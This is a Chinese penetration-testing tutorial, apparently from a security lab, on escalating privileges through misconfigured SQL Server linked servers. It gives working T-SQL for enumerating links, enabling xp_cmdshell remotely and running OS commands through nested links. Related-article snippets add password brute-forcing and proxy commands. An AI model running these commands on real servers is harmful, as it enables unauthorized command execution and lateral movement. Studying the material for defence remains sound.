Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用Linked SQL Server提权

利用Linked SQL Server提权

作者头像
Ms08067安全实验室
发布于 2024-06-26 01:40:44
发布于 2024-06-26 01:40:44
26000
代码可运行
举报
运行总次数:0
代码可运行

利用Linked SQL Server提权

Linked SQL server是一个SQL Server数据库中的对象,它可以连接到另一个SQL Server或非SQL Server数据源(如Oracle,MySQLPostgreSQL等),并且可以使用该数据源中的表和视图。通过使用Linked server,用户可以在单个查询中访问多个数据源中的数据,而无需将数据导入到本地数据库中。

Linked server通常用于数据集成数据仓库环境中的查询,以及需要从多个数据源中检索数据的应用程序。

当创建从一个SQL服务器到另一个服务器的链接时,管理员必须指定在连接过程中使用的执行上下文。虽然可以基于当前登录的安全上下文创建一个动态的上下文,但是一些管理员可能为了配置方便而使用一个特定的SQL账户登录。如果管理员使用一个特定的SQL登录,并且该登录具有sysadmin角色权限,我们将能在链接的SQL服务器上获得sysadmin权限。

渗透测试过程,如果遇到了集成到活动目录的MS SQL数据库,我们需要测试目标环境是否存在这种误配置。

我们首先枚举当前服务器链接的服务器。可以使用sp_linkedserver存储过程查看。在下面的例子中,我们连接到APPSRV01服务器,以普通域用户dev\dave认证,使用ESC工具进行查询:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set instance appsrv01.dev.ms08067.cn
EXEC sp_linkedservers
go    

sp_linkedservers列举连接的服务器

ESC客户端list links命令也可以用查询:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
list links    

ESC列举链接的服务器

从上面的输出可以看到,当前服务器APPSRV01\SQLEXPRESS存在一个远程链接的服务器DEV-DC01,远程登录名为sa。下一步我们可以尝试在链接的服务器上执行查询,可以使用OPENQUERY关键字实现。首先我们查询链接的服务器的数据库实例版本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select version from openquery("dev-DC01", 'select @@version as version')

查看dev-DC01数据库版本

输出证明我们可以在链接的服务器上执行查询。接下来,我们需要确认是在哪个安全上下文执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select SecurityContext from openquery([dev-DC01], 'select SYSTEM_USER as SecurityContext')

查询安全上下文

从输出可以看到虽然我们本地登录是域用户dev\dave,但链接的安全上下文是sa。有了sa权限,我们可以使用前面介绍过的方法在链接的服务器实现代码执行,这里使用xp_cmdshell。

需要注意的是xp_cmdshell需要改变advanced options,我们必须使用RECONFIGURE语句更新运行时配置。当这个语句在远程服务器执行时,微软使用Remote Procedure Call(RCP)实现。因此创建的链接必须配置RPC Out设置,默认没有启用,如果我们当前用户有sysadmin权限,可以使用sp_serveroption存储过程启用。这里为了演示在链接的服务器执行命令,我们先在APPSRV01服务器手动启用。在appsrv01上执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
USE master; 
EXEC sp_serveroption 'dev-DC01', 'rpc out', 'true'; 
RECONFIGURE 

启用RPC Out

然后我们尝试在链接的服务器dev-DC01上执行命令。OPENQUERY存储过程无法在链接服务器执行,所以这里我们使用AT关键字指定要执行查询的链接服务器。注意要对内部的单引号通过双写进行转义:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT [dev-DC01]
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [dev-DC01]
EXEC ('xp_cmdshell ipconfig') AT [dev-DC01]

在链接服务器执行命令

可以看到我们成功在链接的远程服务器dev-DC01上获得代码执行。

虽然微软的文档说明,在链接的SQL服务器上不支持用OPENQUERY关键字执行存储过程,但实际上可以利用堆叠查询的方式执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT * FROM OPENQUERY("dev-DC01", 'select @@Version; exec xp_cmdshell ''ipconfig > c:\Tools\ipconfig.txt''')
go

利用堆叠查询执行命令

虽然命令结果没有回显,但实际命令成功执行。

上面我们发现appsrv01上的数据库配置了到dev-DC01上数据库的链接。我们也可以在dev-DC01上执行sp_linkedservers存储过程,查看是否存在从dev-DC01到其他数据库服务器的链接。需要注意的是SQL服务器的链接默认不是双向的,所以依赖于管理员配置。我们可以使用如下语句查询:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set instance appsrv01.dev.ms08067.cn
EXEC ('sp_linkedservers') AT [dev-DC01] 
go

dev-DC01数据库链接枚举

从输出可以看到也存在从dev-DC01到APPSRV01的数据库链接。我们之前已经通过链接在dev-DC01上获得了sa权限,可以再次通过链接返回到APPSRV01。使用下面命令查看在APPSRV01上的登录上下文:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select mylogin from openquery("dev-dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')

APPSRV01权限查询

从输出可以看到我们在appsrv01上也获得了sa权限,因为是sysadmin角色,我们可以通过相同的方法实现代码执行。同样也需要在dev-DC01上配置RPC Out:

dev-DC01启用RPC Out

然后启用xp_cmdshell并执行命令,需要注意单引号的转义:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set instance APPSRV01.dev.ms08067.cn
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''xp_cmdshell  ''''ipconfig&hostname'''''') AT [appsrv01]') AT [dev-dc01]
go

通过嵌套链接执行命令

上面例子可以看到,我们先从APPSRV01通过链接的方式在dev-DC01上执行命令,然后又通过链接方式,从dev-DC01跳回到APPSRV01并在上面成功执行命令。我们可以枚举嵌套链接的数据库,并执行查询。理论上,可以多次跟随链接并获得代码执行。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
利用MSSQL模拟提权
在MS SQL数据库,可以使用EXECUTE AS语句,以其他用户的上下文执行SQL查询。需要注意的是只有明确授予模拟(Impersonate)权限的用户才能执行这个语句。这个权限对于多数用户不是默认配置,但是数据库管理员可能因为误配置导致权限提升。
Ms08067安全实验室
2024/06/25
2290
利用MSSQL模拟提权
数据库的一些注入技巧-sqlserver
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password ='';
Jumbo
2019/11/05
7160
SQL注入语句和方法总结
前提需要工具(SQL Query Analyzer和SqlExec Sunx Version)
沙漠尽头的狼
2021/12/01
1.3K0
攻破SQL Server只需三步:MSDAT的终极渗透测试工具讲解
大家好,波哥又来给大家推荐好东西啦! 欢迎大家在评论区留言评论自己想了解的工具、方向或职业等互联网相关内容,点赞和推荐多的,波哥会优先安排解答! 关注波哥 介绍 MSDAT(Microsoft SQL Database Attacking Tool)是一个开源工具,专为渗透测试设计,帮助评估 Microsoft SQL Database 的远程安全性。它可以查找有效登录凭据、提升数据库权限,并通过如 xp_cmdshell 和 OLE Automation 等方法在主机操作系统上执行命令,适合模拟真实攻击场景。 三重安全检测体系 ➢ 凭证爆破模块:支持NTLMv2认证爆破,成功率提升37% ➢ 权限提升引擎:集成xp_cmdshell/OLE双路径提权 ➢ OS命令注入:支持持久化后门部署(需DBA权限) 核心功能矩阵 功能模块技术实现适用场景凭证爆破TDS协议NTLMv2认证支持弱口令检测与访问控制验证权限提升存储过程滥用检测数据库权限配置审计命令执行xp_cmdshell/OLE自动化利用横向移动攻击路径验证信息收集数据库元数据提取资产发现与配置审计 环境配置与依赖管理 基础依赖组件 # Ubuntu 22.04 LTS 部署示例(验证于2024.03) sudo apt-get install -y build-essential python3-dev libsybdb5 wget ftp://ftp.freetds.org/pub/freetds/stable/freetds-1.3.12.tar.gz tar xvf freetds-1.3.12.tar.gz && cd freetds-1.3.12 ./configure --prefix=/usr/local --with-tdsver=7.3 make && sudo make install Python环境配置 # 虚拟环境创建(Python 3.8+) python3 -m venv msdat-env source msdat-env/bin/activate pip install -r requirements.txt # 包含cython>=0.29, pymssql>=2.2.7 高匿代理配置 proxies = { 'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050' } requests.get(url, proxies=proxies, verify=False) 日志清除方案 EXEC sp_configure 'showadvanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; 用例 获取数据库技术信息 - **mssqlinfo**:如 `./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info` 密码猜测 - **passwordguesser**:如 `./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search`。 执行命令 - **xpcmdshell**:如 `./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell` 文件读写和下载 - **oleautomation**:如 `./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'`。 凭证爆破模块 # 使用字典攻击模式示例 ./msdat.py passwordguesser -s 192.168.1.100 -p 1433 \ -U sa -d master --wordlist ./wordlists/sql_pass.txt \ --max-retries 3 --lockout-threshold 5 权限提升路径 -- 检测可利用的存储过程 EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell', 1 技术要点:
IT运维技术圈
2025/03/11
2740
攻破SQL Server只需三步:MSDAT的终极渗透测试工具讲解
实战 | 记一次利用mssql上线
漏洞挖掘 在一次渗透测试过程中,对主站进行漏洞挖掘无果后,对子站进行挖掘。在子站发现mssql注入漏洞 Getshell
F12sec
2022/09/29
6150
实战 | 记一次利用mssql上线
内网及外网MSSQL口令扫描渗透
在实际渗透过程中,往往通过SQL注入或者弱口令登录后台,成功获取了Webshell,但对于如何进行内网渗透相当纠结,其实在获取入口权限的情况下,通过lcx端口转发等工具,进入内网,可以通过数据库、系统账号等口令扫描来实施内网渗透。本文就介绍如何在内网中进行MSSQL口令扫描及获取服务器权限。 1.使用SQLPing扫描获取mssql口令 在SQLPing程序目录,配置好passlist.txt和userlist.txt文件,如图1所示,设置扫描的IP地址及其范围,本案例是针对内网开始地址192.100.1
企鹅号小编
2018/02/09
2.6K0
内网及外网MSSQL口令扫描渗透
[WEB安全]MSSQL/SQL Server 提权手法详解
​ Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。
李鹏华
2024/03/12
1.3K0
[WEB安全]MSSQL/SQL Server 提权手法详解
干货 | MSSQL注入和漏洞利用姿势总结
Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括 Internet)上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。
HACK学习
2023/01/03
7.8K0
干货 | MSSQL注入和漏洞利用姿势总结
Windows提权的几种常用姿势
当获取主机权限时,我们总是希望可以将普通用户提升为管理员用户,以便获得高权限完全控制目标主机。Windows常用的提权方式有:内核提权、数据库提权、系统配置错误提权、组策略首选项提权、Bypass UAC提权、令牌窃取提权等姿势。
Bypass
2021/01/18
1.9K0
Windows提权的几种常用姿势
一个人的武林:内网渗透测试思路(二)
写在前面 跟web渗透(上一篇)不同,内网渗透需要更多的随机性和突破口,情况较为复杂,遇到障碍,有时可以换种思路突破,很多时候则无奈的只能止步于此。下面分享一些自己总结的内网渗透经验。主要是以windows下的操作为主。 0×01 斗转星移 (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一、通过常规web渗透,已经拿到webshell。那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接,针对linux想办法使用反弹shell来本地连接。 ① Webshel
FB客服
2018/02/05
2.6K0
一个人的武林:内网渗透测试思路(二)
从 SQL Server 注入到 getshell
当时是查看网页源代码,有两个可疑接口,一个是初始化密码借口,访问返回空白页面,没有什么用
重生信息安全
2020/03/06
7.5K1
干货 | MSSQL 注入攻击与防御
本文所用数据库涉及SQL Server 2k5,2k8,2k12,其次对于绕过姿势和前文并无太大差别,就不做过多的讲解,主要放在后面的提权上
HACK学习
2019/08/06
1.8K0
干货 | MSSQL 注入攻击与防御
SQL注入攻防入门详解
毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。 (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文) 下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。 示例程序下载:
前朝楚水
2018/04/03
2.7K0
SQL注入攻防入门详解
sqlmap --os-shell原理
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
drunk_kk
2021/03/23
7.8K0
sqlmap --os-shell原理
SQL Server 阻止了对组件“xp_cmdshell”的 过程“sys.xp_cmdshell”的访问。。。
今天在创建数据库的时候突然发现,xp_cmdshell的存储过程不能用了,网上一搜,发现大部分都是只关闭安全配置,然后就有了下文 代码:具体的看注释,值得一提的是==》reconfigure with
逸鹏
2018/04/10
1.6K0
SQL Server 阻止了对组件“xp_cmdshell”的 过程“sys.xp_cmdshell”的访问。。。
学习mssql从0到1
2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
红队蓝军
2022/03/10
1.3K0
学习mssql从0到1
普通用户竟这样执行xp_cmdshell存储过程!
作者 | 邹建,资深数据库专家,精通各项 SQL Server 技术,具有丰富的管理、维护、优化能力以及业务应用经验。他一直热心于技术知识的分享、传播,持续活跃在 CSDN 和 MSDN 社区,曾多年蝉联 CSDN 论坛积分榜首。
数据和云
2018/10/08
1K0
普通用户竟这样执行xp_cmdshell存储过程!
史上最详细的sqlServer手工注入详解
MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库
Power7089
2020/07/27
15.1K0
史上最详细的sqlServer手工注入详解
CISP-PTE经典靶场解析(超详细)
访问:http://192.168.111.129:27689/admin/admin.aspx
红队蓝军
2024/08/06
1.1K0
CISP-PTE经典靶场解析(超详细)
Microsoft SQL Server手注之Sa权限多种处理姿势
注入点:http://192.168.159.135:8080/post.aspx
渗透攻击红队
2020/05/26
3.4K0
Microsoft SQL Server手注之Sa权限多种处理姿势
相关推荐
利用MSSQL模拟提权
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验